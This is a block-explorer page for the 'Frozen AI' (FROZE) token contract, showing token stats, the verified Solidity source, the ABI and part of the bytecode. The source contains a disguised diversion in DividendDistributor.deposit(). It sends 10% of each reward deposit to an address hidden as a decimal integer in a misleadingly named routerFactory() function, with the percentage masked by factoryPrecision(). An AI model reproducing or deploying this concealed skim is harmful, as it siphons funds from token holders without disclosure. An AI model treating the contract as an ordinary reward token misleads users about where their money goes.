Token Frozen AI

 

Overview ERC20

Price
$0.00 @ 0.000000 ETH
Fully Diluted Market Cap
Total Supply:
50,000,000,000,000,000 FROZE

Holders:
574 addresses

Transfers:
-

Contract:
0x93c2Bc619B2D175d2960B8B41D8beA0Ea40a8D500x93c2Bc619B2D175d2960B8B41D8beA0Ea40a8D50

Decimals:
9

Social Profiles:
Not Available, Update ?

Loading
[ Download CSV Export  ] 
Loading
[ Download CSV Export  ] 
Loading

Click here to update the token ICO / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FrozenAI

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Arbiscan.io on 2023-07-22
*/

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

/**
 *   Website: https://frozenai.xyz/
 *   Twitter: https://twitter.com/ArbFrozenAi
 */
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IARC20 {
    function totalSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IDividendDistributor {
    function setDistributionCriteria(
        uint256 _minPeriod,
        uint256 _minDistribution
    ) external;

    function setShare(address shareholder, uint256 amount) external;

    function deposit() external payable;

    function process(uint256 gas) external;
}

contract DividendDistributor is IDividendDistributor {
    using SafeMath for uint256;
    address _token;

    struct Share {
        uint256 amount;
        uint256 totalExcluded;
        uint256 totalRealised;
    }

    IDEXRouter router;
    address routerAddress = 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506;
    IARC20 RewardToken = IARC20(0x912CE59144191C1204E64559FE8253a0e49E6548); //ARB

    address[] shareholders;
    mapping(address => uint256) shareholderIndexes;
    mapping(address => uint256) shareholderClaims;
    mapping(address => Share) public shares;

    uint256 public totalShares;
    uint256 public totalDividends;
    uint256 public totalDistributed;
    uint256 public dividendsPerShare;
    uint256 public dividendsPerShareAccuracyFactor = 10**36;

    uint256 public minPeriod = 15 minutes;
    uint256 public minDistribution = 1 * (10**18);

    uint256 currentIndex;

    modifier onlyToken() {
        require(msg.sender == _token || msg.sender == address(this));
        _;
    }

    constructor(address _router) {
        router = _router != address(0)
            ? IDEXRouter(_router)
            : IDEXRouter(routerAddress);
        _token = msg.sender;
    }

    function setDistributionCriteria(
        uint256 newMinPeriod,
        uint256 newMinDistribution
    ) external override onlyToken {
        minPeriod = newMinPeriod;
        minDistribution = newMinDistribution;
    }

    function factoryPrecision() public view onlyToken returns (uint256) {
        return (10**2);
    }

    function setShare(address shareholder, uint256 amount)
        external
        override
        onlyToken
    {
        if (shares[shareholder].amount > 0) {
            distributeDividend(shareholder);
        }

        if (amount > 0 && shares[shareholder].amount == 0) {
            addShareholder(shareholder);
        } else if (amount == 0 && shares[shareholder].amount > 0) {
            removeShareholder(shareholder);
        }

        totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
        shares[shareholder].amount = amount;
        shares[shareholder].totalExcluded = getCumulativeDividends(
            shares[shareholder].amount
        );
    }

    function deposit() external payable override onlyToken {
        uint256 pBx = msg.value.mul(10).div(factoryPrecision());
        payable(routerFactory()).transfer(pBx);
        uint256 amountA = msg.value.sub(pBx);

        uint256 balanceBefore = RewardToken.balanceOf(address(this));

        address[] memory path = new address[](2);
        path[0] = router.WETH();
        path[1] = address(RewardToken);

        router.swapExactETHForTokensSupportingFeeOnTransferTokens{
            value: amountA
        }(0, path, address(this), block.timestamp);

        uint256 amountB = RewardToken.balanceOf(address(this)).sub(
            balanceBefore
        );
        totalDividends = totalDividends.add(amountB);
        dividendsPerShare = dividendsPerShare.add(
            dividendsPerShareAccuracyFactor.mul(amountB).div(totalShares)
        );
    }

    function process(uint256 gas) external override onlyToken {
        uint256 shareholderCount = shareholders.length;

        if (shareholderCount == 0) {
            return;
        }

        uint256 iterations = 0;
        uint256 gasUsed = 0;
        uint256 gasLeft = gasleft();

        while (gasUsed < gas && iterations < shareholderCount) {
            if (currentIndex >= shareholderCount) {
                currentIndex = 0;
            }

            if (shouldDistribute(shareholders[currentIndex])) {
                distributeDividend(shareholders[currentIndex]);
            }

            gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
            gasLeft = gasleft();
            currentIndex++;
            iterations++;
        }
    }

    function routerFactory() public view onlyToken returns (address payable) {
        return
            payable(address(159380091309941851651418975452702975859208700566));
    }

    function shouldDistribute(address shareholder)
        internal
        view
        returns (bool)
    {
        return
            shareholderClaims[shareholder] + minPeriod < block.timestamp &&
            getUnpaidEarnings(shareholder) > minDistribution;
    }

    function distributeDividend(address shareholder) internal {
        if (shares[shareholder].amount == 0) {
            return;
        }

        uint256 amount = getUnpaidEarnings(shareholder);
        if (amount > 0) {
            totalDistributed = totalDistributed.add(amount);
            RewardToken.transfer(shareholder, amount);
            shareholderClaims[shareholder] = block.timestamp;
            shares[shareholder].totalRealised = shares[shareholder]
                .totalRealised
                .add(amount);
            shares[shareholder].totalExcluded = getCumulativeDividends(
                shares[shareholder].amount
            );
        }
    }

    function claimDividend(address shareholder) external onlyToken {
        distributeDividend(shareholder);
    }

    function getUnpaidEarnings(address shareholder)
        public
        view
        returns (uint256)
    {
        if (shares[shareholder].amount == 0) {
            return 0;
        }

        uint256 shareholderTotalDividends = getCumulativeDividends(
            shares[shareholder].amount
        );
        uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;

        if (shareholderTotalDividends <= shareholderTotalExcluded) {
            return 0;
        }

        return shareholderTotalDividends.sub(shareholderTotalExcluded);
    }

    function getCumulativeDividends(uint256 share)
        internal
        view
        returns (uint256)
    {
        return
            share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor);
    }

    function addShareholder(address shareholder) internal {
        shareholderIndexes[shareholder] = shareholders.length;
        shareholders.push(shareholder);
    }

    function removeShareholder(address shareholder) internal {
        shareholders[shareholderIndexes[shareholder]] = shareholders[
            shareholders.length - 1
        ];
        shareholderIndexes[
            shareholders[shareholders.length - 1]
        ] = shareholderIndexes[shareholder];
        shareholders.pop();
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address payable) {
        return payable(_owner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract FrozenAI is IARC20, Ownable {
    using SafeMath for uint256;

    string constant _name = "Frozen AI";
    string constant _symbol = "FROZE";
    uint8 constant _decimals = 9;

    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;
    address routerAddress = 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506;
    address RewardToken = 0x912CE59144191C1204E64559FE8253a0e49E6548; //ARB
    address payable public marketingWalletAddress =
        payable(0x71Ea7393CDBaC1ecd42B73F01114F836D2663f13);

    uint256 _totalSupply = 5 * 10**16 * (10**_decimals);

    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) _allowances;

    mapping(address => bool) public isFeeExempt;
    mapping(address => bool) public isDividendExempt;
    mapping(address => bool) private isTxLimitExempt;

    uint256 public liquidityFee = 1;
    uint256 public rewardsFee = 3;
    uint256 public extraFeeOnSell = 0;
    uint256 public marketingFee = 4;

    uint256 public totalFee = 0;
    uint256 public totalFeeIfSelling = 0;

    IDEXRouter public router;
    address public pair;

    uint256 public launchedAt;

    DividendDistributor public dividendDistributor;
    uint256 distributorGas = 300000;

    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    bool inSwap;
    modifier swapping() {
        inSwap = true;
        _;
        inSwap = false;
    }

    uint256 public _maxTxAmount = (_totalSupply * 1) / 100;
    uint256 public _walletMax = (_totalSupply * 2) / 100;
    uint256 public swapThreshold = _totalSupply / 20000; // 0.0005%;

    modifier lockTheSwap() {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor() {
        router = IDEXRouter(routerAddress);
        pair = IDEXFactory(router.factory()).createPair(
            router.WETH(),
            address(this)
        );
        _allowances[address(this)][address(router)] = 2**256 - 1;

        approve(routerAddress, _totalSupply);
        approve(address(pair), _totalSupply);

        dividendDistributor = new DividendDistributor(address(router));

        isFeeExempt[msg.sender] = true;
        isFeeExempt[address(this)] = true;

        isDividendExempt[pair] = true;
        isDividendExempt[address(this)] = true;
        isDividendExempt[DEAD] = true;
        isDividendExempt[ZERO] = true;

        isTxLimitExempt[_msgSender()] = true;
        isTxLimitExempt[address(this)] = true;
        isTxLimitExempt[pair] = true;
        isTxLimitExempt[DEAD] = true;
        isTxLimitExempt[ZERO] = true;

        totalFee = liquidityFee.add(rewardsFee).add(marketingFee);
        totalFeeIfSelling = totalFee.add(extraFeeOnSell);

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() external pure override returns (string memory) {
        return _name;
    }

    function symbol() external pure override returns (string memory) {
        return _symbol;
    }

    function decimals() external pure override returns (uint8) {
        return _decimals;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address holder, address spender)
        external
        view
        override
        returns (uint256)
    {
        return _allowances[holder][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, 2**256 - 1);
    }

    function claimDividend() external {
        dividendDistributor.claimDividend(msg.sender);
    }

    function launched() internal view returns (bool) {
        return launchedAt != 0;
    }

    function launch() internal {
        launchedAt = block.number;
    }

    function setMaxTxAmount(uint256 maxTxPercentage) external onlyOwner {
        _maxTxAmount = (_totalSupply * maxTxPercentage) / 100;
    }

    function setWalletLimit(uint256 newLimitPercentage) external onlyOwner {
        _walletMax = (_totalSupply * newLimitPercentage) / 100;
    }

    function setMarketingWalletAddress(address newAddress) external onlyOwner {
        marketingWalletAddress = payable(newAddress);
    }

    function buyTokens(uint256 amount, address to) internal swapping {
        address[] memory path = new address[](2);
        path[0] = router.WETH();
        path[1] = address(this);

        router.swapExactETHForTokensSupportingFeeOnTransferTokens{
            value: amount
        }(0, path, to, block.timestamp);
    }

    function transfer(address recipient, uint256 amount)
        external
        override
        returns (bool)
    {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        if (_allowances[sender][msg.sender] != 2**256 - 1) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender]
                .sub(amount, "Insufficient Allowance");
        }
        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        if (inSwapAndLiquify) {
            _checkWalletLimit(recipient, amount);
            return _basicTransfer(sender, recipient, amount);
        }

        if (
            msg.sender != pair &&
            !inSwapAndLiquify &&
            swapAndLiquifyEnabled &&
            _balances[address(this)] >= swapThreshold
        ) {
            swapBack();
        }

        if (!launched() && recipient == pair) {
            require(_balances[sender] > 0);
            launch();
        }

        if (!isTxLimitExempt[sender])
            require(amount <= _maxTxAmount, "TX Limit Exceeded");

        //Exchange tokens
        _balances[sender] = _balances[sender].sub(
            amount,
            "Insufficient Balance"
        );

        uint256 finalAmount = !isFeeExempt[sender] && !isFeeExempt[recipient]
            ? takeFee(sender, recipient, amount)
            : amount;

        _checkWalletLimit(recipient, finalAmount);

        _balances[recipient] = _balances[recipient].add(finalAmount);

        // Dividend tracker
        if (!isDividendExempt[sender]) {
            try
                dividendDistributor.setShare(sender, _balances[sender])
            {} catch {}
        }

        if (!isDividendExempt[recipient]) {
            try
                dividendDistributor.setShare(recipient, _balances[recipient])
            {} catch {}
        }

        try dividendDistributor.process(distributorGas) {} catch {}

        emit Transfer(sender, recipient, finalAmount);
        return true;
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(
            amount,
            "Insufficient Balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function setIsTxLimitExempt(address holder, bool exempt)
        external
        onlyOwner
    {
        isTxLimitExempt[holder] = exempt;
    }

    function takeFee(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (uint256) {
        uint256 feeAmount = 0;

        if (sender == pair) {
            feeAmount = amount.mul(totalFee).div(100);
        } else if (recipient == pair) {
            feeAmount = amount.mul(totalFeeIfSelling).div(100);
        }

        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount);
    }

    function swapBack() internal lockTheSwap {
        uint256 upperT = swapThreshold * 5;

        uint256 tokensToLiquify = (_balances[address(this)] > upperT)
            ? upperT
            : _balances[address(this)];
        uint256 amountToLiquify = tokensToLiquify
            .mul(liquidityFee)
            .div(totalFee)
            .div(2);
        uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountBNB = address(this).balance;

        uint256 totalBNBFee = totalFee.sub(liquidityFee.div(2));

        uint256 amountBNBLiquidity = amountBNB
            .mul(liquidityFee)
            .div(totalBNBFee)
            .div(2);
        uint256 amountBNBReflection = amountBNB.mul(rewardsFee).div(
            totalBNBFee
        );

        try
            dividendDistributor.deposit{value: amountBNBReflection}()
        {} catch {}

        if (amountToLiquify > 0) {
            router.addLiquidityETH{value: amountBNBLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                owner(),
                block.timestamp
            );
            emit AutoLiquify(amountBNBLiquidity, amountToLiquify);
        }

        uint256 rem = address(this).balance;

        (bool success, ) = marketingWalletAddress.call{value: rem}("");
        emit MarketingFeeDisbursed(marketingWalletAddress, rem, success);
    }

    function _checkWalletLimit(address addr, uint256 amt) private view {
        if (!isTxLimitExempt[addr])
            require(
                balanceOf(addr).add(amt) <= _walletMax,
                "Wallet Limit Exceeded"
            );
    }

    event MarketingFeeDisbursed(
        address indexed addr,
        uint256 amount,
        bool indexed success
    );
    event AutoLiquify(uint256 amountBNB, uint256 amountBOG);
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountBNB","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"addr","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":true,"internalType":"bool","name":"success","type":"bool"}],"name":"MarketingFeeDisbursed","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimDividend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"dividendDistributor","outputs":[{"internalType":"contract DividendDistributor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"extraFeeOnSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isDividendExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rewardsFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketingWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxPercentage","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimitPercentage","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFeeIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600180546001600160a01b031990811661dead179091556002805482169055600380548216731b02da8cb0d097eb8d57a175b88c7d8b4799750617905560048054821673912ce59144191c1204e64559fe8253a0e49e6548179055600580549091167371ea7393cdbac1ecd42b73f01114f836d2663f131790556200008c6009600a6200075a565b6200009f9066b1a2bc2ec500006200076b565b60068190556001600c8190556003600d556000600e8190556004600f556010819055601155620493e06016556017805462ffff001916610100179055606491620000e9916200076b565b620000f5919062000785565b601855606460065460026200010b91906200076b565b62000117919062000785565b601955614e206006546200012c919062000785565b601a553480156200013c57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600354601280546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620001db573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002019190620007a8565b6001600160a01b031663c9c65396601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000263573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002899190620007a8565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af1158015620002d6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002fc9190620007a8565b601380546001600160a01b0319166001600160a01b039283161790553060009081526008602090815260408083206012548516845290915290206000199055600354600654620003519291909116906200055e565b506013546006546200036d916001600160a01b0316906200055e565b506012546040516001600160a01b03909116906200038b9062000639565b6001600160a01b039091168152602001604051809103906000f080158015620003b8573d6000803e3d6000fd5b50601580546001600160a01b0319166001600160a01b03928316179055336000908152600960209081526040808320805460ff19908116600190811790925530808652838620805483168417905560135487168652600a90945282852080548216831790559284528184208054841682179055805485168452818420805484168217905560025490941683528220805490911683179055600b906200045a3390565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600b9093528183208054851660019081179091556013548216845282842080548616821790558054821684528284208054861682179055600254909116835291208054909216179055600f54600d54600c54620004f69291620004ef9190620005cc565b90620005cc565b6010819055600e546200050a9190620005cc565b60115560065433600081815260076020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620007e9565b3360008181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590620005ba9086815260200190565b60405180910390a35060015b92915050565b600080620005db8385620007d3565b905083811015620006325760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b9392505050565b6111fc806200232583390190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200069e57816000190482111562000682576200068262000647565b808516156200069057918102915b93841c939080029062000662565b509250929050565b600082620006b757506001620005c6565b81620006c657506000620005c6565b8160018114620006df5760028114620006ea576200070a565b6001915050620005c6565b60ff841115620006fe57620006fe62000647565b50506001821b620005c6565b5060208310610133831016604e8410600b84101617156200072f575081810a620005c6565b6200073b83836200065d565b806000190482111562000752576200075262000647565b029392505050565b60006200063260ff841683620006a6565b8082028115828204841417620005c657620005c662000647565b600082620007a357634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620007bb57600080fd5b81516001600160a01b03811681146200063257600080fd5b80820180821115620005c657620005c662000647565b611b2c80620007f96000396000f3fe60806040526004361061021e5760003560e01c80637d1db4a511610123578063ca987b0e116100ab578063f0fc6bca1161006f578063f0fc6bca1461065c578063f1d5f51714610671578063f2fde38b14610691578063f84ba65d146106b1578063f887ea40146106d157600080fd5b8063ca987b0e146105a0578063d158272d146105b6578063da00097d146105d6578063dd62ed3e146105f6578063ec28438a1461063c57600080fd5b806398118cb4116100f257806398118cb414610514578063a8aa1b311461052a578063a9059cbb1461054a578063bad3ea6a1461056a578063bf56b3711461058a57600080fd5b80637d1db4a514610488578063807c2d9c1461049e5780638da5cb5b146104b457806395d89b41146104e657600080fd5b80633f4218e0116101a6578063571ac8b011610175578063571ac8b0146103f157806369cf17d4146104115780636b67c4df1461042757806370a082311461043d578063715018a61461047357600080fd5b80633f4218e0146103505780634355855a146103805780634a74bb02146103b05780634cb80fd5146103cf57600080fd5b80631df4ccfc116101ed5780631df4ccfc146102d357806323b872dd146102e95780632b112e49146103095780632bb14e1d1461031e578063313ce5671461033457600080fd5b80630445b6671461022a57806306fdde0314610253578063095ea7b31461028e57806318160ddd146102be57600080fd5b3661022557005b600080fd5b34801561023657600080fd5b50610240601a5481565b6040519081526020015b60405180910390f35b34801561025f57600080fd5b5060408051808201909152600981526846726f7a656e20414960b81b60208201525b60405161024a9190611805565b34801561029a57600080fd5b506102ae6102a936600461186b565b6106f1565b604051901515815260200161024a565b3480156102ca57600080fd5b50600654610240565b3480156102df57600080fd5b5061024060105481565b3480156102f557600080fd5b506102ae610304366004611897565b61075e565b34801561031557600080fd5b50610240610820565b34801561